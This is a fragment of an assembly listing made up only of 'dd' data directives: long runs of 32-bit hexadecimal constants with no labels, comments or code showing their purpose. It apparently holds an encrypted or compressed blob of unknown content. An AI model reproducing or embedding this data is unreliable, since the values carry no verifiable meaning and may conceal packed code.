		dd 0E046852h, 8B564338h, 30C467BCh, 3BADA5C8h, 0A4ABB635h
		dd 26276844h, 4F77E661h, 42260ADBh, 60A51A88h, 0F48832DFh
		dd 7A49BDDCh, 4714BD04h, 6BE7C106h, 39FF6DD3h, 5B4597E3h
		dd 0FA5F52A8h, 75AD7440h, 4D4FE9E4h, 0BD02CEA4h, 19B4CEC2h
		dd 54B809D7h, 7EDC2708h, 6A23F681h, 226065AFh, 25E697A2h
		dd 983F4F20h, 41FF030Eh, 0DFF7F987h, 0A457082Eh, 4E3BBB00h
		dd 0AA26E96Eh, 4275C187h, 290F4878h, 0F0CB5AD7h, 9F83090h
		dd 0E1BDDD25h, 0EC7B89E5h, 2FA0B61Dh, 6A50F021h, 98AE949Dh
		dd 0F071970Dh, 0DDBB8FC7h, 3834F745h, 68C04DE2h, 2C5F50B1h
		dd 0E2005A7Fh, 29BB0863h, 9EF75242h, 0F849935Eh, 6D60E98Eh
		dd 9DFAA644h, 424A76E0h, 953E758Ah, 286551B7h, 70A12732h
		dd 6CBEAEE4h, 0D3A2903Dh, 4683B4Ch, 77D01F2h, 3F09416Eh
		dd 744C8BD0h, 0C766084h, 1AB03DD2h, 9BD1012Eh, 8ABA52C0h
		dd 0F9D2E07h, 6D8A3AA1h, 2EE025Eh, 280142B6h, 68618DD5h
		dd 56243AE3h, 0E96ADF82h, 0FAA76FEFh, 93247257h, 20B91C57h
		dd 0A8C163AEh, 19DB7951h, 476567Ah, 18DE5201h, 0B5951ADCh
		dd 0B420B415h, 58FF520h
		dd 6619ACBEh, 0C5E0FF10h, 2FC0944Dh, 7697CCD0h,	75541335h
		dd 12A3008Fh, 0E90A8A2Eh, 4E77CD31h, 9D3F5F54h,	0BC543052h
		dd 62833FBCh, 0D9EEB07Ah, 24928061h, 4181E05Bh,	0FE92B141h
		dd 9DC0915h, 0ED519B78h, 0EAE50408h, 0B099B7A7h, 382E6A42h
		dd 25AF34Bh, 746909BBh,	5B58603h, 0E501970Dh, 63FFB1E9h
		dd 76F405D9h, 8AB22C55h, 0BA841F5Ah, 2092365Bh,	0D25AA2B4h
		dd 110162B2h, 0BA7C3DE9h, 65FF0912h, 3ED1FE65h,	84C36832h
		dd 0E5E9395Eh, 0E9902296h, 0DCD8172Fh, 0ADEF5026h, 95D526BDh
		dd 3E514820h, 0F9DFC115h, 3088D25Ah, 0B6A1D950h, 0EB8C7A57h
		dd 44F95AE9h, 8D43505Dh, 169B00CCh, 94B8AB2Dh, 8208ED3Fh
		dd 0E5E936D8h, 0C0E57D6Eh, 0F5493E3Fh, 5E1C114h, 15C52681h
		dd 0B4D6B19Fh, 59CCFC01h, 0E97AD4F6h, 42D3E44h,	48192532h
		dd 0FD22CEFh, 1266127h,	34672BA5h, 6EF8E9E4h, 0CCC4E3A8h
		dd 0B630AA55h, 4720AF7h, 0DF6842BAh, 3879CF75h,	0F7A12DE9h
		dd 0C36AD0A2h, 9DFCA472h, 5B1AD664h, 63D13E2h, 0F4ECB85Eh
		dd 8B52CACh, 4916C694h,	96B03AF8h, 38099018h, 0F25EF109h
		dd 1AE303D9h, 58513BDBh, 46BEDE10h, 45AA6802h, 0F15711B2h
		dd 0F46E971Dh, 0FCE1F598h, 0C29743DBh, 7D9B4A37h, 0EBAB8F47h
		dd 51B40517h, 0F2D84C01h, 0BECE004Bh, 339F5969h, 0B3AAD0F4h
		dd 0B77AD057h, 108522E8h, 9FC82980h, 572461C3h,	0BF122D4Eh
		dd 5B14D2AEh, 69A055FAh, 8180C23Ch, 0F47579CFh,	7DDEA011h
		dd 14CB3069h, 6A0F9A0Ch, 0F2C0094Fh, 7DBC0520h,	2CE10F5Eh
		dd 9B34E93Ch, 0C2AA2A74h, 60C57BDEh, 81BAABE4h,	0C15AB123h
		dd 310B2CE8h, 358658C7h, 749720E2h, 0DD17BDFDh,	57B3A4B5h
		dd 9F91BF3Fh, 9C562FFFh, 0E5E7CDBFh, 0FE8F50FAh, 0F32D80C3h
		dd 0EF25417h, 0E962FD30h, 9BFC3405h, 0E1C0C985h, 9E710DFFh
		dd 8852EC06h, 0F435CE72h, 262E545Ah, 342CFF4Eh,	98E37288h
		dd 93FF1E9h, 0A9D7BA37h, 4F47D418h, 9F8D4EBh, 5336F697h
		dd 1DC2DAD4h, 95F499E9h, 94092DA9h, 4C0E7106h, 0FF276068h
		dd 0E086E322h, 0B109F7A9h, 1158AE7Ch, 388A0B26h, 11FFD8F7h
		dd 1D3E85Bh, 0D7050306h, 68DED11Ah, 0D3680B40h,	60165616h
		dd 72232B13h, 0A913F0BFh, 39684857h, 0D1CEBF03h, 0AA05519Bh
		dd 64A0755Ch, 56734BC0h, 74557513h, 2F489D2Ah, 0A5095DEDh
		dd 0F5297Ch, 77FDE52Bh,	0E94916ECh, 0F7FC8114h,	415720D7h
		dd 81971954h, 4C7F612h,	0FC5947FEh, 16D4BB7Dh, 78600F0Ah
		dd 0B7740A7h, 418782D4h, 0A92530F7h, 0A60DD40h,	0BC011384h
		dd 92D19574h, 50C68389h, 6C50B44h, 41339h, 92EBE25Bh, 0E97988ABh
		dd 1865AB30h, 2A68D586h, 3D464134h, 3968F3B4h, 0B8060CEDh
		dd 2A04ED51h, 5E367465h, 4C6BB2ABh, 7DFE4B94h, 0C7A53124h
		dd 76EF795Ah, 43A40761h, 7574F330h, 2E2DE7C5h, 48084CFAh
		dd 0A3F22508h, 0A319E917h, 0BE459491h, 429BA2Ah, 1200E36Ah
		dd 6E8F22AAh, 0B33CB849h, 9F5178F3h, 77C7B300h,	4476F530h
		dd 12FAE75Ch, 36EB5260h, 4BA0EEE1h, 314A1220h, 35E9CF2Ch
		dd 882CDCEAh, 3B420B7h,	0D595CF22h, 0DD5B581Ch,	775B0809h
		dd 62200946h, 505E27C1h, 0E958CF5Ch, 91BD4A2Fh,	7822E52Fh
		dd 1FA8C706h, 6AC5F509h, 0CB2F6A89h, 61D4E0FBh,	274B7C02h
		dd 0DDF60446h, 2C41ECC2h, 1FF252EEh, 1CF40E17h,	0F2482CABh
		dd 1A0C5809h, 7D680157h, 8C70381Fh, 3F1D16C6h, 9ED706E3h
		dd 0F1042F01h, 93EB9947h, 0D81256F8h, 97A2A803h, 256664CCh
		dd 9CDDE9F7h, 0EEB420A9h, 0F9C28102h, 0DD0ADC72h, 0B556BC02h
		dd 57446054h, 0D34F8AFEh, 34FD5C05h, 0A496DDB2h, 580555DFh
		dd 0FD3138D6h, 841A7A83h, 0C9EDA3BBh, 445B055Ch, 0E161B934h
		dd 0BD81B8F7h, 4CE32FC1h, 6AD9E925h, 693A0A43h,	0E905D4D7h
		dd 0C0DDD4A9h, 0EC05E64Bh, 0FA98445Eh, 53BC4045h, 0AD205477h
		dd 376AE9CDh, 64A9EF70h, 687F2242h, 6CC5F9h, 5AD9388h
		dd 6BB4063Ah, 0B2A629Dh, 5EC67707h, 759F6813h, 576EC5CDh
		dd 85C5BF22h, 750E9ABAh, 0B90A8E60h, 60C776EAh,	6CE6EA7Fh
		dd 5B616F7h, 5801C23h, 75DD1012h, 2DD02801h, 18309507h
		dd 172447C2h, 0D9169F15h, 0B7972BF8h, 77A1D69Ah, 4EA0FD05h
		dd 6830ED29h, 76974C5Fh, 17F5D2A7h, 0BC807366h,	7D82D1DEh
		dd 394CF800h, 0BEBAC176h, 9E50505h, 1FAA5E6Fh, 0C8BEF39h
		dd 0FB73E7D9h, 0E96909E8h, 1720C31Fh, 7F6544EEh, 670C7B63h
		dd 0C02BF260h, 19ED548h, 0F221975Bh, 3E77C1E9h,	1CAF0B56h
		dd 40AB05C7h, 3F8FEB5Fh, 0E5DBE916h, 69AE2A92h,	571160C1h
		dd 0A210BF43h, 2916603Bh, 0F667A173h, 0FE9940CFh, 0D7F6C716h
		dd 84283D32h, 31BB8ABAh, 0A2334h, 165F2DADh, 12634155h
		dd 73B7E8F0h, 72028CEEh, 0C54628BFh, 0F560556Eh, 96F32D68h
		dd 1E84D087h, 447C8AAh,	5F55A13Eh, 0D2FE76C1h, 1C025903h
		dd 6856A453h, 0D4D70289h, 2583EAF6h, 0A8701FE4h, 718112Dh
		dd 0B3055575h, 302B390Eh, 8850B6E0h, 3AC0D85Ch,	5BF992C7h
		dd 17B49BEFh, 64A172E9h, 0B3B0EA62h, 0DE2D0835h, 0CE6F65Bh
		dd 0E5DDD7A2h, 0D2250378h, 9390DFDCh, 621699EDh, 92FC3104h
		dd 0C9FAE05Bh, 0E589ABC2h, 43CD6051h, 9C625038h, 0E90BC247h
		dd 49C4C0F2h, 4A249320h, 7A45A92Dh, 0F5886B2Ch,	0DC6DE0A5h
		dd 12193E57h, 67D1A193h, 0A2862505h, 307D5896h,	0FA01DB40h
		dd 5A1A1889h, 499B9A5Bh, 0B2DFBF83h, 9FB1D0F8h,	61E01108h
		dd 0B027FA04h, 0C64252A2h, 0EC545B4Fh, 74450423h, 2BC00B94h
		dd 9B35F8Eh, 9D27E960h,	2A0725D5h, 0B80044A3h, 428C0A95h
		dd 14022805h, 2CE91C2Eh, 1E25716Fh, 9C254B56h, 19F34877h
		dd 53200F5Fh, 0C8C9FE31h, 0F381EF60h, 287B663Bh, 855CB505h
		dd 0D33E626Ch, 4A66D572h, 0F6EA099h, 750C69E8h,	34C2D736h
		dd 0B00C4E68h, 82CEF7B9h, 747F6AD7h, 80C95817h,	0FE042FF6h
		dd 9EA7E9C4h, 0CA1279F2h, 1AE9F879h, 5518F2A4h,	6885D367h
		dd 0C9442A01h, 590B5EBCh, 0EED62904h, 0C8424B2h, 0FCDDBB1Dh
		dd 0F839356Bh, 203A48B5h, 0F14F5BD2h, 0CDD2E789h, 1E38D2C4h
		dd 0F057BD46h, 0E0397D60h, 0B549AC68h, 46461D1Ah, 98746C2Dh
		dd 3E296B2Bh, 1D93012Fh, 0E14489FFh, 4E9A7803h,	60BA79FEh
		dd 0EEB780D4h, 52B0F665h, 0F31828AFh, 69A3FD06h, 936371BCh
		dd 0A8415EC6h, 28C99EAAh, 6F71DC12h, 0B25FD73Eh, 0D08A865Dh
		dd 3A02A969h, 0BD54D224h, 5844A773h, 2867338Bh,	602C3293h
		dd 46665140h, 0AFB644E8h, 1C106804h, 0D2C473BCh, 0BC31FB9Ah
		dd 21924F52h, 0BE3D16F5h, 8AFE2684h, 6C169CCh, 5024CC1Dh
		dd 9571D158h, 0F88871F3h, 86E827ACh, 1E2E09D8h,	823CBF0Fh
		dd 30CB594Bh, 1865DC52h, 8CB8245Ah, 0F8971925h,	4B5F7AA1h
		dd 168ABC6h, 0C84CB530h, 23B05016h, 0B08C30F0h,	0A21A5B3Ch
		dd 0D0C9B255h, 58BB0914h, 1A80C82Dh, 5C387470h,	0E91754B0h
		dd 0C144AF5Ah, 0F0AB0CB7h, 0ED91CC9Bh, 4DC00769h, 0E8715109h
		dd 52C993FCh, 0DF4AE9AFh, 8D93D44Ch, 334C1EF2h,	73C09D6Ch
		dd 0BFB1522Eh, 2DBC508Dh, 550025BEh, 35D0F748h,	0FD61B73Fh
		dd 0A801BF24h, 9C15E9DEh, 9D551D75h, 0CC6E581h,	2D0981DFh
		dd 0FE7024CFh, 307999BFh, 421FF626h, 0FDC25259h, 60154936h
		dd 8128F1D4h, 4F7AFB58h, 49BB8331h, 312F0654h, 36D5AE21h
		dd 75E804CFh
		dd 70FC0BA8h, 0CFE68107h, 0A8622631h, 8CF2F924h, 2B8F046Fh
		dd 6DBD0113h, 3066B130h, 0B93D95CBh, 590582ABh,	85313B19h
		dd 7032DD8h, 0C8330E9h,	335E5F3Ah, 0B441BC4Fh, 0ACDCAC61h
		dd 54E6B5EEh, 0C4BD552Dh, 6BC84590h, 68100CCAh,	6EC5E96h
		dd 1E84D1C9h, 4C24A3A2h, 0BA2D1214h, 0D20888EEh, 0F17E9441h
		dd 9548DCACh, 56C65EB6h, 0E4FE9D97h, 0CC309CFh,	160D1F20h
		dd 0EBBA2206h, 2D051200h, 5A4973C6h, 2D60A27Fh,	842AD604h
		dd 43ED156h, 0F295FBE9h, 137EA2AAh, 9ED03A03h, 1FCC65F4h
		dd 49DEF71Fh, 667A3473h, 8B75645Ch, 0BD3C56EDh,	0A4393696h
		dd 1F09CF43h, 80617D58h, 1565F2BAh, 0CBE9132Ah,	0D37BB87h
		dd 9B59EA97h, 0A7827B4h, 0A1807E94h, 77C149D2h,	8E5B06C7h
		dd 6DCA57FEh, 0A40C080Ch, 237B0D18h, 144A0F2h, 0D7294977h
		dd 625EF5E9h, 95FAD3BEh, 79881D4h, 0B4F76AD8h, 660CBD04h
		dd 0F580FFD7h, 0BA65E29h, 195CE938h, 0F75A367Eh, 72FD2DC2h
		dd 0E0ADF8A7h, 9B2C74D0h, 9511257h, 0B5A3ECCEh,	0DC035BD8h
		dd 16F91973h, 810B401h,	9933E93Dh, 3A1A5A2Ch, 0D56F8422h
		dd 55A5F1C5h, 1A0CF3C5h, 3E7B1D3h, 630F6855h, 5A2D1557h
		dd 9DB6F11h, 9507BE9h, 0B1747B7h, 665D9468h, 0AA3B4D59h
		dd 0E9A6BC78h, 0ED7F6EABh, 0C7680B42h, 0FCE90B60h, 0DD5BA751h
		dd 0B6C22E62h, 0E9FBFFFFh, 8809382Ch, 3C30750Fh, 4BAA6B1Ah
		dd 57D20975h, 71CB1471h, 2C600D2h, 21A71039h, 0FA49F17Dh
		dd 3CBA48F1h, 0F49213DCh, 0CD3680AEh, 0DD2F4AAEh, 0A8D45678h
		dd 304B61DEh, 0E102C780h, 18F17843h, 0E7A6B450h, 0F8281758h
		dd 5A999266h, 0A092845Ch, 2E707D2h, 0BED1B240h,	476C5FCBh
		dd 27940E5Ah, 0CA5DA983h, 47750E0h, 9D70C4BFh, 1681FFD2h
		dd 467282B6h, 20AE49C5h, 674C1280h, 0F6755676h,	0C54A3717h
		dd 6EE963C1h, 0EA40C56Ah, 0A96ED9CDh, 8801107Ah, 0A0E18101h
		dd 0DB6AD27Bh, 981E180Eh, 0CBCCA573h, 403C20F4h, 0D49D0997h
		dd 0E7330041h, 0DF3118B5h, 32E0A1D7h, 51494046h, 30BCB101h
		dd 0D3F659CBh, 0B29B8520h, 0EA5C9D89h, 84C1838Ch, 36A70BF1h
		dd 0FFFC2FCAh, 660B9713h, 0A148DF90h, 4F1EEE2Dh, 0E80A5039h
		dd 843A0705h, 7DB20F09h, 2D276BCh, 434E68BFh, 2E88D551h
		dd 0AFDF2D93h, 0AE284516h, 7E85D9ABh, 0E982AAB2h, 3BD5B2DEh
		dd 2975D97Dh, 0AA6C3392h, 0D7FFC534h, 3F198D80h, 0F60190F5h
		dd 0FE045E17h, 5B42F7D7h, 785862D2h, 0A5ED4E06h, 1A7420F5h
		dd 5697E792h, 0CB30CAD1h, 1A0B8D5Fh, 0C5EA77D2h, 0CB5669F5h
		dd 0B93E2BFDh, 4213250Ch, 4A7959D7h, 27F9A710h,	1571DF88h
		dd 872C0A53h, 670A590h,	0C328791Dh, 0D18994h, 74DF735h
		dd 2CC1291Ch, 967E54E9h, 0A32DAB5Bh, 12EF8E3Ah,	0FCC878EAh
		dd 9E681D66h, 71D12E5Dh, 6C17010Ch, 0D9F75E00h,	0DA094D90h
		dd 75623D55h, 0A8E03C22h, 0FE5260F4h, 7C68C1C4h, 0DBF5C277h
		dd 0F0C2AF8Ch, 0EB385B57h, 21774F40h, 750B0525h, 68F26103h
		dd 2DA36DB2h, 0E0D15150h, 59EBC706h, 0B807B67Ah, 0F6146B5h
		dd 79089EAAh, 78C928C2h, 3B552735h, 0FD89F47Ch,	873C5C5Dh
		dd 0A4D2F708h, 3B1EA1CDh, 0CBBBD3F0h, 4558FD8Ah, 8870C59Dh
		dd 0C0004008h, 0C98002E1h, 3D06CC1Fh, 40BF0512h, 246CF174h
		dd 26E1CF20h, 967C3DCDh, 47E48926h, 5A5130DCh, 92A6BD6Bh
		dd 1ADBF045h, 4F038FAAh, 0F810E18Bh, 8A5E2FC9h,	0E00337C2h
		dd 0F9B353CDh, 0B4292FAAh, 90C30317h, 0AD584180h, 595CD89Fh
		dd 0D2C43191h, 2335BF4Ah, 0C46AE3C1h, 0A1B3A83Ah, 0EB80A8A5h
		dd 13D0BD55h, 24C12C49h, 6F6D0794h, 0B199CD70h,	28F2071Fh
		dd 0A38F5BF7h, 8274E6ABh, 5814FD2Fh, 9B4D0901h,	4576E92Ch
		dd 99E7B2Ch, 982F8F6Bh,	0F6EC4C4h, 1C49C968h, 540EFA5Fh
		dd 4FBB6946h, 0E97D0B62h, 594A720Ch, 0A3364F5Fh, 17D30B0Ch
		dd 4CDD201Ah, 0CFE92422h, 0AC688F3Ah, 8A441686h, 7413869h
		dd 1E849EE8h, 0AFD116EBh, 453AEA29h, 201BEB4Ch,	88511E8Ch
		dd 392DFD7Bh, 0E35A7915h, 6452BB65h, 204B58F4h,	0D80112FCh
		dd 0BD50EF2Dh, 4C0211F8h, 0F66CC228h, 0E5059D84h, 2999C159h
		dd 0C4A33866h, 41128D44h, 107F08D0h, 7429C476h,	481FF4BDh
		dd 514200Ch, 35DB0E59h,	0BD53EA5Eh, 5B34BFh, 346ACC13h
		dd 27A60133h, 96F50C82h, 0C7A12078h, 0F0C572BFh, 6A0B2E36h
		dd 47C56292h, 1F735027h, 0EAC32DEFh, 2D75A980h,	0E32740A2h
		dd 8031F871h, 3525A07h,	4B3AB4BAh, 340A4A69h, 0A39AEEC6h
		dd 28E7C27h, 30421AEFh,	44E56052h, 6BE0B08h, 0FCDF9C55h
		dd 7F8B95FEh, 0D5EB8379h, 0C24C1D66h, 0D008446Dh, 9DA3E910h
		dd 0DFF7470Eh, 0CAE78160h, 464E7C5Fh, 631017F9h, 0C821273Eh
		dd 166D901Ah, 0EE0123DAh, 0F4FF84D4h, 0D2EEC85Bh, 0BDD1CF5Ah
		dd 0C6139E29h, 89EC9881h, 0DF15C456h, 0A77D74B2h, 0BCF7CACCh
		dd 0A8451218h, 0EC587CBh, 56408E60h, 50F1268h, 1201FEA6h
		dd 0DB64E2E6h, 0CE30C221h, 557E13CFh, 761EA439h, 0D0B7F4ECh
		dd 0BCE175Fh, 0E10F00C8h, 34263B29h, 2B485BF6h,	0B409DE88h
		dd 0C8C47DF4h, 68504DBCh, 0D8764E8Dh, 29108A0Bh, 88342E98h
		dd 11FEA0Dh, 0A6AB742Dh, 2B542F37h, 0FBA20989h,	52BA653Ch
		dd 88AEB08h, 14BCF040h,	0E87C564Dh, 14325A2Ch, 5F250A2Dh
		dd 1297475Fh, 30B6A1A1h, 0C1E6F933h, 0B7530109h, 9A9B809Bh
		dd 0C9B3C3E9h, 795DA4E9h, 340D8544h, 0F5BC00ECh, 1CB34AA0h
		dd 7BD7D9A1h, 6F85B0A9h, 0D141EEF9h, 679B6DCCh,	6E97C13Ah
		dd 0C28105C5h, 233FB4A8h, 73FA555Fh, 6F5E5449h,	0DCC647ACh
		dd 0EB2CB78Ch, 9D104C7Ch, 60210D00h, 0E40575F2h, 70AF671Fh
		dd 2D7326C8h, 2971EDEh,	5100E0CAh, 0C0E8B652h, 0E6E607EEh
		dd 0F327D998h, 6961F6A6h, 4E34F5DBh, 21FEBD01h,	0FA601127h
		dd 0D4CA0481h, 8003911Eh, 2C500CF1h, 0DEE9361Eh, 2023E4EFh
		dd 0BB090AC8h, 7DA20D72h, 0F38780C0h, 8D6F730h,	91D04FE9h
		dd 0E8C2A703h, 0CCDCD3D7h, 4E00DDA4h, 3BBD1843h, 975199B2h
		dd 14D02009h, 706A480Bh, 0D044D712h, 3F2E05A1h,	6939CF8Ch
		dd 0C07D1ABDh, 3E3F7961h, 30924563h, 0ABF1241Fh, 281244E8h
		dd 66C61D32h, 0EA73C4F1h, 1BE08CCDh, 4E6495CDh,	96F2D1Dh
		dd 4A1FB853h, 13CA5FC8h, 60E3E354h, 1D39A0B2h, 0C6648069h
		dd 7E96E235h, 4A08A7A4h, 0CC55F987h, 807252D5h,	682FF9F7h
		dd 8BE4DC44h, 3768534Bh, 30B521DCh, 4181E9C0h, 5639FC09h
		dd 5A62CC9Ch, 0B3A50FEEh, 12D1A35Bh, 818C868Ah,	0BF7D407Ch
		dd 0F2939501h, 5FFE29A8h, 9D9A7930h, 385D99B0h,	27D2939Fh
		dd 47036C24h, 0DC80D7BBh, 0E300810Bh, 35FB1D8Ch, 9F95FDE9h
		dd 91A00DC5h, 683005E4h, 2FF70C3Bh, 695D5975h, 0D008E928h
		dd 0AF4B140Ch, 77024F4Ch, 13B53C51h, 0E46F8D12h, 82F6F5D1h
		dd 2F8F0D3Eh, 271AF001h, 5856C330h, 8A0602CBh, 2F045203h
		dd 0A4EA62Ch, 655BC2F6h, 94591D8Ch, 80943261h, 40E4325Dh
		dd 80C7AD04h, 305C8868h, 9313DEBCh, 208688B9h, 565840B5h
		dd 7BB40272h, 0F22937D2h, 87BEFEh, 0B2B109Ah, 4B548E9h
		dd 0D0BC5AFEh, 0F5362879h, 631A20C1h, 22F2BA07h, 50E24658h
		dd 0D680E98Bh, 0E47FA82Fh, 3B6A3DFEh, 8CD7D0F2h, 0F42A6850h
		dd 749D9041h, 0CDF9259Bh, 810275A5h, 0EED5456Bh, 62EFB06Ah
		dd 77FA33D3h, 1B25985Dh
		dd 1A619355h, 0F205F3A2h, 0E09BBCCAh, 7EFFC380h, 758675D0h
		dd 0CE08DEF6h, 0D3EE37F3h, 28F445BFh, 35B5EAD8h, 90D3FC7Ah
		dd 0CCE9836Ch, 292212B9h, 0B50413F9h, 0F9F4DB37h, 0FE5F2D43h
		dd 692DC22Dh, 0CC382057h, 4C45D670h, 0A4138A01h, 3831BA1Dh
		dd 7406356Ch, 0FC3A8804h, 0A1A829B9h, 767E4E10h, 0C5DCC8A0h
		dd 31768C17h, 0AECD1CEFh, 0F2E904CAh, 594FFEEBh, 0BB6844D1h
		dd 0FC4FC9B8h, 0E4F5F3h, 0C0D45AE9h, 381EBB94h,	5F9545F8h
		dd 0E3DC1E3Ch, 796EDFDDh, 0AAC05BE5h, 4CD7614Ah, 0D520972Bh
		dd 0DF35584Bh, 8480F2EBh, 0D9C2C588h, 4194F7A4h, 981C3F20h
		dd 88FB2D9Ch, 0EB80DF51h, 24FF5D2Bh, 0DDE3F301h, 63010816h
		dd 727E4A32h, 0C5C6D26Fh, 570217C4h, 337920BFh,	6041FD73h
		dd 7AEE60DFh, 0B6B1513h, 0CE1803B0h, 7BCC6887h,	0A5D3C38Fh
		dd 80B5B702h, 8838E0EEh, 0D7F63AF7h, 24BFAC4Fh,	0F110E5D6h
		dd 311AAC3Bh, 0E256409Bh, 6FBC7E31h, 0C43F2EC5h, 0FDB5C221h
		dd 2EA862E1h, 0DE0052B2h, 53340375h, 0CABF82E9h, 0FA227D74h
		dd 2C8571Fh, 221E9F05h,	84D67A16h, 3FBA8340h, 4B31C062h
		dd 34C2AB42h, 0B7CFF8E6h, 83A07BC5h, 5F57523Fh,	97255904h
		dd 12F70BDh, 0F380BC5Eh, 0B6DCE62h, 0C7DE4C89h,	0E5FBD05Eh
		dd 16262C3Dh, 3802B52Dh, 4AC4C161h, 0ACBAD7FAh,	0CD7A05FFh
		dd 0D933E2BAh, 50031E7Ch, 2B949AB1h, 9E8AAEE8h,	9672A8E3h
		dd 34B860FEh, 4401E20Ah, 1D572B35h, 8E20402Dh, 831CBE8Ah
		dd 5CB04BEDh, 0CABB8C4Ah, 0C83284F0h, 59B2FBh, 64EC431Dh
		dd 13E8C148h, 5485E907h, 0F31D7DE7h, 787BCADBh,	6081997h
		dd 1EB2F307h, 0D90C7964h, 936C0AE9h, 84D09C2h, 65FD5EE7h
		dd 0B8562716h, 5B37C9A5h, 957FDF77h, 87127E65h,	58D398AEh
		dd 5A215495h, 0F3081C40h, 0B8EB7882h, 0EDC2B508h, 0ACBC04D1h
		dd 0E4172BD3h, 276A8BABh, 0D0005EEAh, 65C9FCE9h, 1BA875Ah
		dd 0DDC77892h, 0D5F60414h, 4783A95h, 0F8958EF7h, 58AA81AFh
		dd 36182D40h, 28E8324h,	2B747846h, 0CA61FA01h, 0B5696B9Fh
		dd 20253932h, 0B6F0ED6h, 97FF70D5h, 42A84DF3h, 1504C84Dh
		dd 782D3F18h, 21229502h, 75455D55h, 0FCED04A0h,	9006914Ah
		dd 0A68EE951h, 1F3B053Dh, 0A05F4B88h, 261273A7h, 0CC0B6A87h
		dd 1C9572DFh, 0ACD050C5h, 7D4B01E6h, 6A3142F2h,	0EACE681Fh
		dd 0E6B36h, 0CC75E316h,	7B00B7D9h, 355FF821h, 9D64FF01h
		dd 3C22056Eh, 0C429F0C8h, 80D70120h, 0C1621C82h, 4D992FE7h
		dd 0D7E4B23Fh, 17A8D1AEh, 0D929017Ch, 9F5ECA20h, 160505F1h
		dd 0A0046F1Ah, 0B7AFA31Eh, 285804D2h, 40EF4D64h, 6214F330h
		dd 8BB84815h, 41174544h, 0AAF90211h, 2EE5F049h,	168F4533h
		dd 917BD21Eh, 2A04EBE0h, 13801A7h, 0E97DC004h, 5DC6A0DDh
		dd 13A05995h, 8277C585h, 40D5F80Fh, 17E320B6h, 47CBFE58h
		dd 0A33DF30Ch, 0C4B15BDCh, 0E6F4E4CAh, 0A51ECCF8h, 56F0B4E9h
		dd 74840566h, 4A7FE42Dh, 0F857CD53h, 427E2EB9h,	0F178F897h
		dd 7E70807Ch, 77681F53h, 525B8F27h, 4C4BAA5h, 0EBBEB085h
		dd 0F32D8FDEh, 585B6170h, 0EA92B3A2h, 0EE10A4B6h, 0ED465AB2h
		dd 0ED10CE21h, 13379C20h, 0C14C1063h, 2886A9Ch,	0E286E009h
		dd 0C77DC013h, 57DB22AAh, 0B9508FBCh, 0C81F1253h, 503FB22Fh
		dd 0FF717EA0h, 25F445BFh, 6CDD6EE0h, 2FC74EB7h,	0F1EBA923h
		dd 0C216DC0h, 509039B2h, 0E753716Dh, 0E550B86Fh, 60F547E0h
		dd 0B8C2BB9Dh, 7258256Ah, 2F0903ABh, 0B6291E99h, 4008831Ch
		dd 4E8B141Ch, 5F70982Ch, 0E962AB99h, 0CDCC7710h, 0B6172209h
		dd 2FD0054h, 975726E9h,	0D3C58223h, 423716F9h, 20DFBFEFh
		dd 0CA771DE2h, 6922C174h, 3626254Eh, 0FD0118B7h, 13163128h
		dd 45F1BAAh, 1E08C523h,	999697E6h, 0DFFF2B84h, 35B65BC6h
		dd 0B8DCF10h, 7E3DA768h, 13D5EBD2h, 0E309B8DEh,	81C8D66Fh
		dd 3BDAEAB6h, 5680EBBDh, 2C1CF768h, 34F2E4Ch, 4F77AACEh
		dd 0E0DEDA33h, 2F095F72h, 87F04E39h, 8747EF39h,	0FE31C522h
		dd 25F589E3h, 75ED38h, 0E9DD01BBh, 0D37A4938h, 0AEDCF63Eh
		dd 0C948F339h, 81B3A95Eh, 0E7200CECh, 7CA89C6Fh, 1E2FD2BCh
		dd 0F0E918AEh, 1CF163DDh, 3C1EC1E6h, 753FF928h,	286CABB1h
		dd 51683F7Ch, 0B0C539DCh, 8485BB1Eh, 0A3BA34EAh, 0F462509Ch
		dd 0FD83C86Bh, 0E5F575CAh, 80E989DBh, 41B8B3A7h, 71522D26h
		dd 3283F09Ch, 54D8DBA8h, 0B2F9C3C4h, 56860814h,	0C16FABABh
		dd 0FDA033D8h, 0BD6BE163h, 699E848Bh, 7BBC2CEBh, 0FE098B9Eh
		dd 4AC14CC1h, 4E0DAC74h, 1C96EC5Ch, 0C0D164AEh,	6A07AE05h
		dd 0C6319D04h, 17B88958h, 86F4432Eh, 51622768h,	3B85D220h
		dd 4FAEFE87h, 0A5CF4088h, 0D8BDB50Fh, 544E86h, 46A6BB8Dh
		dd 6817296Dh, 81CC58DCh, 4F84FADBh, 3190A172h, 0E0D16A32h
		dd 0FACD0Ah, 6C250567h,	0C25BA390h, 1FCFBD0h, 32167BBEh
		dd 0E15588D3h, 8D17D982h, 0D8285C01h, 7464D930h, 0B2A0A960h
		dd 97C93D30h, 0E982E98Eh, 0EE74E542h, 12184A63h, 0A75D5440h
		dd 76E982F3h, 0EFDAF5E0h, 0AABC5860h, 8066A123h, 9C2E4402h
		dd 4B9ED11Dh, 6C2C70BAh, 4813CC2Dh, 8E7F73F1h, 30E55FA6h
		dd 0B40CF83Eh, 0C6B8200h, 5811A51h, 0C07105E5h,	5CF08228h
		dd 9477D092h, 6A502D8Ah, 333E78A2h, 48AD19D1h, 0BA599Fh
		dd 87AB199Fh, 295BDA31h, 53385E95h, 305FD6DAh, 0F6B3EF6Ah
		dd 0A411483Dh, 7981BD4Ah, 72E9F70Bh, 0A08B5EBEh, 746638A3h
		dd 0AF595592h, 0ED97F8F2h, 0A9E24B04h, 42BCCFC4h, 61535DEAh
		dd 3CF89656h, 0EFC12E23h, 0C6F71EE3h, 0C264A5Ch, 0DA0C37A1h
		dd 10DC8262h, 0C99F442h, 65124840h, 85001CD6h, 6FA40C42h
		dd 0FC77042Dh, 81210A31h, 81F819E5h, 72B8EB95h,	0B56B5471h
		dd 991E9011h, 0A8087E50h, 0FA61B3ADh, 9F5CBA82h, 2926AD06h
		dd 972D8898h, 0B1FEE016h, 0E468809Bh, 0E9D64C55h, 83A30752h
		dd 0D3152D58h, 2CE69A8Fh, 0F89C0A77h, 4EEFE978h, 0D545EB90h
		dd 0E0F29552h, 68098D90h, 1A5909E1h, 7E31D581h,	0A6804302h
		dd 25FB3EEAh, 5B505F53h, 7003BFF3h, 4EE92879h, 9DFB85BDh
		dd 0BA68540Ah, 5CECCFFCh, 0A4B4B3B8h, 0D0F79506h, 2D299806h
		dd 7746999Dh, 0B81AA74Ah, 0DACCD410h, 39943248h, 0AF427924h
		dd 0AD81605Ah, 81355F49h, 1D44863h, 4BCA5D66h, 0C150B3EAh
